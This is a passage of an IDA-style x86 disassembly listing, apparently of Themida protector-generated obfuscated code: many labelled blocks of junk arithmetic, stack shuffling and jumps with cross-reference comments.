loc_593B59:				; CODE XREF: Themida_:0059ED1Cj
		pop	ecx
		push	ebx
		jmp	loc_595F32
; ---------------------------------------------------------------------------


loc_593B60:				; CODE XREF: Themida_:00591FDBj
		push	56D1h
		mov	[esp], edi
		mov	edi, 1D1E1593h
		add	edi, 333003DFh
		xor	edi, 20703989h
		add	ebx, 59AA48F1h
		add	ebx, edi
		jmp	loc_5A4A18
; ---------------------------------------------------------------------------


loc_593B86:				; CODE XREF: Themida_:00593956j
		add	ebp, ecx
		pop	ecx
		jmp	loc_597535
; ---------------------------------------------------------------------------


loc_593B8E:				; CODE XREF: Themida_:0059BF04j
		add	eax, ebx
		add	eax, 79EA5875h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_592482
; ---------------------------------------------------------------------------


loc_593BAC:				; CODE XREF: Themida_:00590914j
		sub	ebp, 343745CEh
		shr	ebp, 5
		xor	ebp, 16E09856h
		jmp	loc_5963D4
; ---------------------------------------------------------------------------


loc_593BC0:				; CODE XREF: Themida_:0059F519j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_5A3B17
; ---------------------------------------------------------------------------


loc_593BCD:				; CODE XREF: Themida_:0059D79Dj
		push	6B9Bh
		mov	[esp], edi
		pop	ebp
		pop	edi
		not	edi
		jmp	loc_59A59E
; ---------------------------------------------------------------------------


loc_593BDE:				; CODE XREF: Themida_:0059678Bj
		push	ecx
		mov	cl, 0ABh
		push	small 8BAh
		mov	[esp], ax
		mov	ah, 9Eh
		xor	cl, ah
		pop	ax
		push	ecx
		not	byte ptr [esp]
		pop	ecx
		push	0
		sub	[esp], cl
		mov	cl, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		and	cl, 23h
		sub	esp, 2
		jmp	loc_591B9B
; ---------------------------------------------------------------------------


loc_593C1B:				; CODE XREF: Themida_:0059FBDDj
		sub	ebx, eax
		jmp	loc_5A25F4
; ---------------------------------------------------------------------------


loc_593C22:				; CODE XREF: Themida_:00592FB6j
		xor	ebp, 0E121AC29h
		sub	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 427513D2h
		sub	eax, ebp
		jmp	loc_5A4D88
; ---------------------------------------------------------------------------


loc_593C38:				; CODE XREF: Themida_:0059739Aj
		sub	esp, 4
		mov	[esp], edi
		push	1BCCh
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59B0AA
; ---------------------------------------------------------------------------


loc_593C61:				; CODE XREF: Themida_:00594A81j
		add	edi, 4
		jmp	loc_595EAC
; ---------------------------------------------------------------------------


loc_593C6C:				; CODE XREF: Themida_:0059F1F5j
		add	eax, 3BB31416h
		add	eax, 737A29A4h
		sub	eax, ebx
		push	3486h
		mov	[esp], ebx
		mov	ebx, 737A29A4h
		jmp	loc_5A29D2
; ---------------------------------------------------------------------------


loc_593C8A:				; CODE XREF: Themida_:005A379Cj
		sub	ebp, 237E491Eh
		push	ebp
		xor	dword ptr [esp], 7B1F5117h
		jmp	loc_596C1E
; ---------------------------------------------------------------------------


loc_593C9D:				; CODE XREF: Themida_:0059C9EDj
		mov	esi, 0
		sub	esi, ecx
		xchg	esi, ecx
		jmp	loc_59A8E3
; ---------------------------------------------------------------------------


loc_593CAB:				; CODE XREF: Themida_:0059D9B9j
		push	664Ah
		jmp	loc_599DEB
; ---------------------------------------------------------------------------


loc_593CB5:				; CODE XREF: Themida_:0059EC1Cj
		shr	esi, 3
		sub	esi, offset byte_610E61
		mov	ecx, esi
		pop	esi
		sub	edi, 48B965F1h
		add	edi, ecx
		push	edx
		mov	edx, 48B965F1h
		add	edi, edx
		pop	edx
		jmp	loc_5A2CE2
; ---------------------------------------------------------------------------


loc_593CD7:				; CODE XREF: Themida_:00595291j
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 2
		add	esi, edx
		jmp	loc_5A1BA2
; ---------------------------------------------------------------------------


loc_593CEB:				; CODE XREF: Themida_:0059EACAj
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_59191A
; ---------------------------------------------------------------------------


loc_593CFA:				; CODE XREF: Themida_:005943D9j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_591489
; ---------------------------------------------------------------------------


loc_593D1B:				; CODE XREF: Themida_:00592EBEj
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		push	esp
		jmp	loc_5927E5
; ---------------------------------------------------------------------------


loc_593D26:				; CODE XREF: Themida_:005909EDj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59E8A0
; ---------------------------------------------------------------------------


loc_593D3A:				; CODE XREF: Themida_:005A41C8j
		push	edx
		jmp	loc_59B093
; ---------------------------------------------------------------------------


loc_593D40:				; CODE XREF: Themida_:00591179j
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	esi
		xor	esi, 111F49F3h
		push	esi
		xor	dword ptr [esp], 2EFE023Eh
		pop	eax
		xor	eax, 2EFE023Eh
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59915D
; ---------------------------------------------------------------------------


loc_593D7F:				; CODE XREF: Themida_:00591D2Ej
		push	0B5Eh
		mov	[esp], ebx
		mov	ebx, esp
		push	3BF9h
		mov	[esp], edx
		mov	edx, 26490F89h
		push	70AAh
		mov	[esp], ecx
		mov	ecx, 41FA4B5Dh
		push	ecx
		jmp	loc_590334
; ---------------------------------------------------------------------------


loc_593DA9:				; CODE XREF: Themida_:0059F02Aj
		mov	esp, [esp]
		jmp	loc_5952D5
; ---------------------------------------------------------------------------


loc_593DB1:				; CODE XREF: Themida_:0059A7FDj
		sub	esp, 4
		jmp	loc_590DCF
; ---------------------------------------------------------------------------


loc_593DBC:				; CODE XREF: Themida_:0059D363j
		mov	esi, [esp]
		jmp	loc_59791F
; ---------------------------------------------------------------------------


loc_593DC4:				; CODE XREF: Themida_:00595464j
		sub	edx, 20B9173Ch
		add	edx, 0FFFFFFFFh
		not	edx
		jmp	loc_59A1A6
; ---------------------------------------------------------------------------


loc_593DD7:				; CODE XREF: Themida_:005A0887j
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5A0CB2
; ---------------------------------------------------------------------------


loc_593DFA:				; CODE XREF: Themida_:005941F1j
		add	edi, ecx
		sub	edi, 49564922h
		add	edi, 4E9F711Bh
		jmp	loc_5970FD
; ---------------------------------------------------------------------------


loc_593E0D:				; CODE XREF: Themida_:0059E1C7j
		push	ebp
		jmp	loc_59822B
; ---------------------------------------------------------------------------


loc_593E13:				; CODE XREF: Themida_:00598C8Fj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_59443A
; ---------------------------------------------------------------------------


loc_593E28:				; CODE XREF: Themida_:00593711j
		sub	ebx, 7A81F7Eh
		add	ebx, edi
		push	ecx
		mov	ecx, 26E224DBh
		dec	ecx
		inc	ecx
		jmp	loc_5A1D50
; ---------------------------------------------------------------------------


loc_593E3D:				; CODE XREF: Themida_:005A28C2j
		mov	[esp], ebx
		push	1Ch
		jmp	loc_5987DE
; ---------------------------------------------------------------------------


loc_593E4A:				; CODE XREF: Themida_:005A551Dj
		push	ebx
		push	eax
		mov	eax, 4A133B8Fh
		jmp	loc_59FACC
; ---------------------------------------------------------------------------


loc_593E56:				; CODE XREF: Themida_:005A1A0Cj
		shr	edx, 4
		add	edx, 639CBA27h
		jmp	loc_5A1E3C
; ---------------------------------------------------------------------------


loc_593E64:				; CODE XREF: Themida_:005A21A7j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_59B4C5
; ---------------------------------------------------------------------------


loc_593E7A:				; CODE XREF: Themida_:00591166j
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5967DC
; ---------------------------------------------------------------------------


loc_593E8D:				; CODE XREF: Themida_:005939D2j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	edx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_593EAA:				; CODE XREF: Themida_:0059C2F0j
		add	dword ptr [esp], 4
		pop	ebx
		push	2B82h
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_590F80
; ---------------------------------------------------------------------------


loc_593EC4:				; CODE XREF: Themida_:005A3D7Ej
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59E98D
; ---------------------------------------------------------------------------


loc_593ED2:				; CODE XREF: Themida_:0059044Bj
		pop	esp
		sub	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_593EDD:				; CODE XREF: Themida_:0059949Ej
		inc	ebx
		xchg	eax, ebx
		shr	eax, 2
		neg	eax
		inc	eax
		add	eax, 4E8215ADh
		add	edi, eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	40h
		pop	edx
		sub	edx, 57D1293Dh
		jmp	loc_5940D6
; ---------------------------------------------------------------------------


loc_593F0F:				; CODE XREF: Themida_:0059C467j
		push	esi
		mov	esi, 215745Dh
		jmp	loc_596305
; ---------------------------------------------------------------------------


loc_593F1A:				; CODE XREF: Themida_:00599347j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59A2FF
; ---------------------------------------------------------------------------


loc_593F2B:				; CODE XREF: Themida_:005946E2j
		add	eax, ebp
		add	eax, 2288587Dh
		push	edi
		mov	edi, 62E247EDh
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A41BA
; ---------------------------------------------------------------------------


loc_593F53:				; CODE XREF: Themida_:00599B65j
		add	ebx, 10F33FB6h
		add	ebx, ecx
		sub	ebx, 10F33FB6h
		jmp	loc_597DE1
; ---------------------------------------------------------------------------


loc_593F66:				; CODE XREF: Themida_:005A06BCj
		mov	[esp], esi
		push	23CFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_594E31
; ---------------------------------------------------------------------------


loc_593F7D:				; CODE XREF: Themida_:0059979Fj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59A88C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7AFFh
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_59134E
; ---------------------------------------------------------------------------


loc_593FA8:				; CODE XREF: Themida_:00594DE6j
		mov	eax, 65B1218Eh
		dec	eax
		not	eax
		jmp	loc_59BA2D
; ---------------------------------------------------------------------------


loc_593FB5:				; CODE XREF: Themida_:00592535j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5A344E
; ---------------------------------------------------------------------------


loc_593FD1:				; CODE XREF: Themida_:0059B58Ej
		neg	eax
		shl	eax, 4
		push	ebp
		mov	ebp, 0ECFB5D6Ah
		xor	eax, ebp
		jmp	loc_5A1DA1
; ---------------------------------------------------------------------------


loc_593FE3:				; CODE XREF: Themida_:005A3AE7j
		pop	esp
		shr	cl, 5
		push	edx
		jmp	loc_5920DF
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_593FFC:				; CODE XREF: Themida_:00599EE5j
		add	esi, edi
		jmp	loc_592FFD
; ---------------------------------------------------------------------------


loc_594003:				; CODE XREF: Themida_:00595F90j
		add	eax, edx
		jmp	loc_5A3999
; ---------------------------------------------------------------------------


loc_59400A:				; CODE XREF: Themida_:00596238j
		or	esi, edx
		pop	edx
		push	eax
		mov	eax, 4D3D2F14h
		push	ebx
		mov	ebx, 363E0C64h
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 0D80AE001h
		xor	esi, eax
		pop	eax
		neg	esi
		xor	esi, 36F72BE7h
		sub	esp, 4
		jmp	loc_59D97E
; ---------------------------------------------------------------------------


loc_59403C:				; CODE XREF: Themida_:0059DDB6j
		push	ecx
		not	byte ptr [esp]
		pop	ecx
		push	eax
		mov	ah, cl
		mov	cl, dl
		jmp	loc_5A1B62
; ---------------------------------------------------------------------------


loc_59404B:				; CODE XREF: Themida_:0059A2EFj
		add	ebp, 4
		jmp	loc_59B763
; ---------------------------------------------------------------------------


loc_594056:				; CODE XREF: Themida_:00592C0Fj
		dec	ebx
		and	ebx, 4CAE19FAh
		or	ebx, 63F25978h
		add	ebx, 0EE82C27Ch
		sub	ecx, ebx
		pop	ebx
		jmp	loc_593892
; ---------------------------------------------------------------------------


loc_594071:				; CODE XREF: Themida_:0059BCADj
		sub	[esp+8], ebp
		add	dword ptr [esp+8], 0F6F3C3Bh
		mov	ebp, [esp]
		add	esp, 4
		add	[esp+4], edx
		push	13D5h
		mov	[esp], ebp
		mov	ebp, 24B92269h
		sub	dword ptr [esp+8], 0CC6D49h
		add	[esp+8], ebp
		add	dword ptr [esp+8], 0CC6D49h
		jmp	loc_59D833
; ---------------------------------------------------------------------------


loc_5940B0:				; CODE XREF: Themida_:00591AD1j
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3F55341h
		jmp	loc_59FB65
; ---------------------------------------------------------------------------


loc_5940CF:				; CODE XREF: Themida_:005A570Bj
		shr	ebp, 1
		jmp	loc_59A954
; ---------------------------------------------------------------------------


loc_5940D6:				; CODE XREF: Themida_:00593F0Aj
		add	edx, edi
		add	edx, 57D1293Dh
		push	7698h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		jmp	loc_595D65
; ---------------------------------------------------------------------------


loc_5940F2:				; CODE XREF: Themida_:005990FCj
		pop	edi
		pop	eax
		push	ebp
		push	28B55CADh
		pop	ebp
		shl	ebp, 8
		add	ebp, 0A8F2BE95h
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, 52B54DCEh
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_591632
; ---------------------------------------------------------------------------


loc_59411C:				; CODE XREF: Themida_:0059E2A6j
		mov	esp, [esp]
		jmp	loc_596FC3
; ---------------------------------------------------------------------------


loc_594124:				; CODE XREF: Themida_:005A281Cj
		add	ebp, 0D517CA3h
		jmp	loc_596E7F
; ---------------------------------------------------------------------------


loc_59412F:				; CODE XREF: Themida_:0059EDBAj
		xor	esi, 28B55FA2h
		jmp	loc_59B75C
; ---------------------------------------------------------------------------


loc_59413A:				; CODE XREF: Themida_:0059C10Fj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	eax, [esp]
		jmp	loc_59990B
; ---------------------------------------------------------------------------


loc_59414E:				; CODE XREF: Themida_:00595C39j
		push	39BBh
		mov	[esp], esi
		push	esp
		jmp	loc_59CC91
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	7260h
		mov	[esp], esp
		jmp	loc_590CBB
; ---------------------------------------------------------------------------


loc_59416E:				; CODE XREF: Themida_:00598450j
		xor	[esp], eax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594176:				; CODE XREF: Themida_:005A2C49j
		mov	al, 3Bh
		push	edx
		push	ebx
		mov	bl, al
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	bh, dl
		jmp	loc_5A3CA4
; ---------------------------------------------------------------------------


loc_59418F:				; CODE XREF: Themida_:00595E3Cj
		push	ebp
		mov	ebp, 19451A72h
		inc	ebp
		add	ebp, 7EBF7DAFh
		and	ebp, 2F91735Fh
		jmp	loc_5A1372
; ---------------------------------------------------------------------------


loc_5941A7:				; CODE XREF: Themida_:00598E45j
		push	3440h
		mov	[esp], ebp
		jmp	loc_59F365
; ---------------------------------------------------------------------------


loc_5941B4:				; CODE XREF: Themida_:0059C77Aj
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5A487E
; ---------------------------------------------------------------------------


loc_5941C7:				; CODE XREF: Themida_:005A43E9j
		push	ebx
		mov	ebx, 1E025912h
		xor	ebp, ebx
		jmp	loc_5A2BDE
; ---------------------------------------------------------------------------


loc_5941D4:				; CODE XREF: Themida_:00595944j
		pop	eax
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5A3C29
; ---------------------------------------------------------------------------


loc_5941EA:				; CODE XREF: Themida_:00596740j
		add	edi, 51D502Dh
		pop	esi
		jmp	loc_593DFA
; ---------------------------------------------------------------------------


loc_5941F6:				; CODE XREF: Themida_:0059F95Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	6AF4h
		mov	[esp], ebp
		push	edi
		mov	edi, 109F0D00h
		mov	ebp, 0EF60F302h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, ebp
		jmp	loc_595808
; ---------------------------------------------------------------------------


loc_594229:				; CODE XREF: Themida_:005984E2j
		sub	eax, 3AE43F0Ch
		add	eax, 2D895114h
		push	edi
		mov	edi, 3B096619h
		xor	edi, 0D9A58D7h
		add	edi, 6B1564Ah
		dec	edi
		xor	edi, 280B42D1h
		sub	edi, 40B83271h
		add	edi, 3086C4C5h
		jmp	loc_5924CE
; ---------------------------------------------------------------------------


loc_59425D:				; CODE XREF: Themida_:005A31E3j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594269:				; CODE XREF: Themida_:0059937Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59B688
; ---------------------------------------------------------------------------


loc_594277:				; CODE XREF: Themida_:0059A92Fj
		push	dword ptr [esp]
		jmp	loc_59CE81
; ---------------------------------------------------------------------------


loc_59427F:				; CODE XREF: Themida_:005929DAj
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 7AA7155Fh
		jmp	loc_5A06C1
; ---------------------------------------------------------------------------


loc_594293:				; CODE XREF: Themida_:005970A9j
		add	eax, ecx
		pop	ecx
		push	2354h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_59D06A
; ---------------------------------------------------------------------------


loc_5942A8:				; CODE XREF: Themida_:00598226j
		mov	[esp], ecx
		push	eax
		mov	eax, 4
		sub	esp, 4
		mov	[esp], eax
		pop	ecx
		pop	eax
		jmp	loc_599BD6
; ---------------------------------------------------------------------------


loc_5942BE:				; CODE XREF: Themida_:005A49FBj
		pop	eax
		xor	bh, 0D4h
		dec	bh
		sub	bh, 0C1h
		jmp	loc_595A1C
; ---------------------------------------------------------------------------


loc_5942CC:				; CODE XREF: Themida_:0059FF27j
		pop	ebx
		add	edx, 4C0303F7h
		add	edx, eax
		sub	edx, 4C0303F7h
		push	ebp
		mov	ebp, 31361E14h
		jmp	loc_5967C5
; ---------------------------------------------------------------------------


loc_5942E6:				; CODE XREF: Themida_:0059C015j
		xor	ebp, 179F3913h
		push	eax
		mov	eax, 0D425381Bh
		sub	ebp, eax
		pop	eax
		push	ebp
		pop	edx
		jmp	loc_5A3781
; ---------------------------------------------------------------------------


loc_5942FC:				; CODE XREF: Themida_:005A5384j
		add	esi, 4
		push	edi
		push	ebx
		push	33AE3A3Fh
		pop	ebx
		push	ebp
		mov	ebp, 5D836573h
		jmp	loc_598676
; ---------------------------------------------------------------------------


loc_594315:				; CODE XREF: Themida_:0059FF83j
		push	ecx
		mov	ecx, 2CF737DEh
		jmp	loc_59EB0D
; ---------------------------------------------------------------------------


loc_594320:				; CODE XREF: Themida_:0059A4D6j
		add	esp, 4
		shl	eax, 1
		inc	eax
		neg	eax
		add	eax, 1
		push	esi
		jmp	loc_595010
; ---------------------------------------------------------------------------


loc_594333:				; CODE XREF: Themida_:0059066Bj
		inc	dl
		add	dl, 0D3h
		add	dl, 0AAh
		jmp	loc_59A0E7
; ---------------------------------------------------------------------------


loc_594340:				; CODE XREF: Themida_:0059B9C3j
		dec	ebp
		shr	ebp, 6
		push	750h
		mov	[esp], ebx
		mov	ebx, 7DB0566h
		jmp	loc_5A1CC1
; ---------------------------------------------------------------------------


loc_594356:				; CODE XREF: Themida_:005A2393j
		dec	ecx
		xor	ecx, 4AAB11D9h
		jmp	loc_5A0CE4
; ---------------------------------------------------------------------------


loc_594362:				; CODE XREF: Themida_:00595BE2j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594367:				; CODE XREF: Themida_:0059607Bj
		push	319Ch
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_59F654
; ---------------------------------------------------------------------------


loc_594379:				; CODE XREF: Themida_:0059EDEDj
		shr	ecx, 8
		or	ecx, 7645441h
		dec	ecx
		shl	ecx, 2
		xor	ecx, 4C274F65h
		xor	ecx, 64AE3290h
		add	edx, ecx
		pop	ecx
		add	edx, 7C4D2F0Ah
		jmp	loc_59A576
; ---------------------------------------------------------------------------


loc_5943A0:				; CODE XREF: Themida_:005A0A93j
		add	ebp, 55378EEh
		push	eax
		mov	eax, 0CC906E3Eh
		sub	ebp, eax
		pop	eax
		jmp	loc_5964CE
; ---------------------------------------------------------------------------


loc_5943B4:				; CODE XREF: Themida_:0059E22Aj
		pop	esp
		add	ecx, 4
		jmp	loc_59537E
; ---------------------------------------------------------------------------


loc_5943C0:				; CODE XREF: Themida_:005A2040j
		pop	esp
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	70D0h
		jmp	loc_59E069
; ---------------------------------------------------------------------------


loc_5943D8:				; CODE XREF: Themida_:0059B2E9j
		push	esp
		jmp	loc_593CFA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	ecx
		mov	ecx, esp
		push	4725h
		mov	[esp], eax
		mov	eax, 0B4F05C5h
		dec	eax
		jmp	loc_5A213B
; ---------------------------------------------------------------------------


loc_5943F9:				; CODE XREF: Themida_:0059CDA0j
		xor	edi, [esp]
		jmp	loc_59AE06
; ---------------------------------------------------------------------------


loc_594401:				; CODE XREF: Themida_:005A5113j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5A06A3
; ---------------------------------------------------------------------------


loc_594418:				; CODE XREF: Themida_:005A214Cj
		push	2697h
		mov	[esp], edx
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebp
		jmp	loc_59DF36
; ---------------------------------------------------------------------------


loc_59442E:				; CODE XREF: Themida_:005A240Cj
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		and	eax, edx
		jmp	loc_59D8FE
; ---------------------------------------------------------------------------


loc_59443A:				; CODE XREF: Themida_:00593E23j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_59CA12
; ---------------------------------------------------------------------------


loc_594446:				; CODE XREF: Themida_:00593599j
		add	al, dh
		sub	al, 0A1h
		pop	dx
		push	18C5h
		mov	[esp], ebx
		mov	bl, 55h
		push	edx
		mov	dl, 0D7h
		shl	dl, 1
		jmp	loc_595AE8
; ---------------------------------------------------------------------------


loc_594460:				; CODE XREF: Themida_:0059FA1Bj
		push	ebx
		mov	bl, 65h
		and	bl, 7Ah
		xor	bl, 0CFh
		jmp	loc_59D7C8
; ---------------------------------------------------------------------------


loc_59446E:				; CODE XREF: Themida_:005938BBj
		cmp	cl, al
		pushf
		jmp	loc_59DBEF
; ---------------------------------------------------------------------------


loc_594476:				; CODE XREF: Themida_:00592A85j
		push	ecx
		jmp	loc_591220
; ---------------------------------------------------------------------------


loc_59447C:				; CODE XREF: Themida_:0059E102j
		push	dword ptr [esp+4]
		jmp	loc_595C7E
; ---------------------------------------------------------------------------


loc_594485:				; CODE XREF: Themida_:005A169Aj
		push	esi
		push	33F64DB5h
		jmp	loc_5989EA
; ---------------------------------------------------------------------------


loc_594490:				; CODE XREF: Themida_:00598042j
		mov	edi, 2B917E7Fh
		sub	eax, 17387764h
		add	eax, edi
		jmp	loc_59F347
; ---------------------------------------------------------------------------


loc_5944A1:				; CODE XREF: Themida_:00592645j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_59E3F4
; ---------------------------------------------------------------------------


loc_5944B2:				; CODE XREF: Themida_:0059B0A5j
		and	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59AD26
; ---------------------------------------------------------------------------


loc_5944BD:				; CODE XREF: Themida_:00599E7Cj
		pop	edi
		xor	ebx, eax
		pop	eax
		jmp	loc_596DEF
; ---------------------------------------------------------------------------


loc_5944C6:				; CODE XREF: Themida_:005969AFj
		shl	edx, 1
		push	eax
		jmp	loc_59532B
; ---------------------------------------------------------------------------


loc_5944CE:				; CODE XREF: Themida_:005972EAj
		pop	esp
		push	edi
		jmp	loc_595FE0
; ---------------------------------------------------------------------------


loc_5944D5:				; CODE XREF: Themida_:00594FA0j
		pop	ebp
		push	esi
		push	ebx
		mov	ebx, 16413962h
		mov	esi, ebx
		pop	ebx
		and	ebx, esi
		pop	esi
		xor	ebx, 16FF0EECh
		push	edx
		jmp	loc_5A491A
; ---------------------------------------------------------------------------


loc_5944EF:				; CODE XREF: Themida_:0059341Dj
		mov	ecx, ebx
		mov	esi, ecx
		jmp	loc_59188E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594507:				; CODE XREF: Themida_:0059EB08j
		sub	esp, 4
		jmp	loc_593277
; ---------------------------------------------------------------------------


loc_594512:				; CODE XREF: Themida_:0059BE26j
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594521:				; CODE XREF: Themida_:005917CDj
		sub	edi, 0D183BBBh
		sub	edi, 2B462DEAh
		jmp	loc_5A4E8D
; ---------------------------------------------------------------------------


loc_594532:				; CODE XREF: Themida_:00597565j
		push	7108h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_5A2ADB
; ---------------------------------------------------------------------------


loc_594546:				; CODE XREF: Themida_:00597420j
		push	esi
		push	6D563AA4h
		pop	esi
		add	esi, 19295333h
		sub	esi, 506B7B9Dh
		mov	eax, esi
		pop	esi
		xor	eax, ebx
		pop	ebx
		xor	eax, 7A4135F0h
		push	esi
		mov	esi, 44642835h
		inc	esi
		dec	esi
		shr	esi, 2
		sub	esi, 0C648E17h
		xor	eax, esi
		jmp	loc_59CC88
; ---------------------------------------------------------------------------


loc_59457C:				; CODE XREF: Themida_:005A4DA0j
		pop	dx
		push	354Eh
		mov	[esp], ecx
		jmp	loc_59935B
; ---------------------------------------------------------------------------


loc_59458B:				; CODE XREF: Themida_:00599056j
		and	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594595:				; CODE XREF: Themida_:0059371Dj
		add	eax, 5A89416Eh
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1B27688Dh
		jmp	loc_59AF7C
; ---------------------------------------------------------------------------


loc_5945B3:				; CODE XREF: Themida_:0059A030j
		push	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_596CDA
; ---------------------------------------------------------------------------


loc_5945CB:				; CODE XREF: Themida_:00598F92j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	2D18h
		jmp	loc_5A3958
; ---------------------------------------------------------------------------


loc_5945DC:				; CODE XREF: Themida_:0059F06Aj
		mov	eax, 0FB66E9F5h
		add	edx, 1E6E5BD0h
		jmp	loc_5A2492
; ---------------------------------------------------------------------------


loc_5945EC:				; CODE XREF: Themida_:0059C277j
		xchg	edi, [esp]
		jmp	loc_595EB5
; ---------------------------------------------------------------------------


loc_5945F4:				; CODE XREF: Themida_:0059C4EEj
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_596949
; ---------------------------------------------------------------------------


loc_5945FD:				; CODE XREF: Themida_:00594F7Dj
		sub	ebx, 0B946ACCh
		push	ebp
		mov	ebp, 27AB3FF0h
		jmp	loc_59ECE6
; ---------------------------------------------------------------------------


loc_59460E:				; CODE XREF: Themida_:005966FBj
		push	ebx
		jmp	loc_598ABA
; ---------------------------------------------------------------------------


loc_594614:				; CODE XREF: Themida_:00594699j
		push	ebx
		mov	bl, 34h
		push	231Eh
		mov	[esp], edx
		mov	dl, 2Dh
		sub	dl, 74h
		jmp	loc_598B3E
; ---------------------------------------------------------------------------


loc_594629:				; CODE XREF: Themida_:005A328Aj
		push	edx
		push	4
		pop	edx
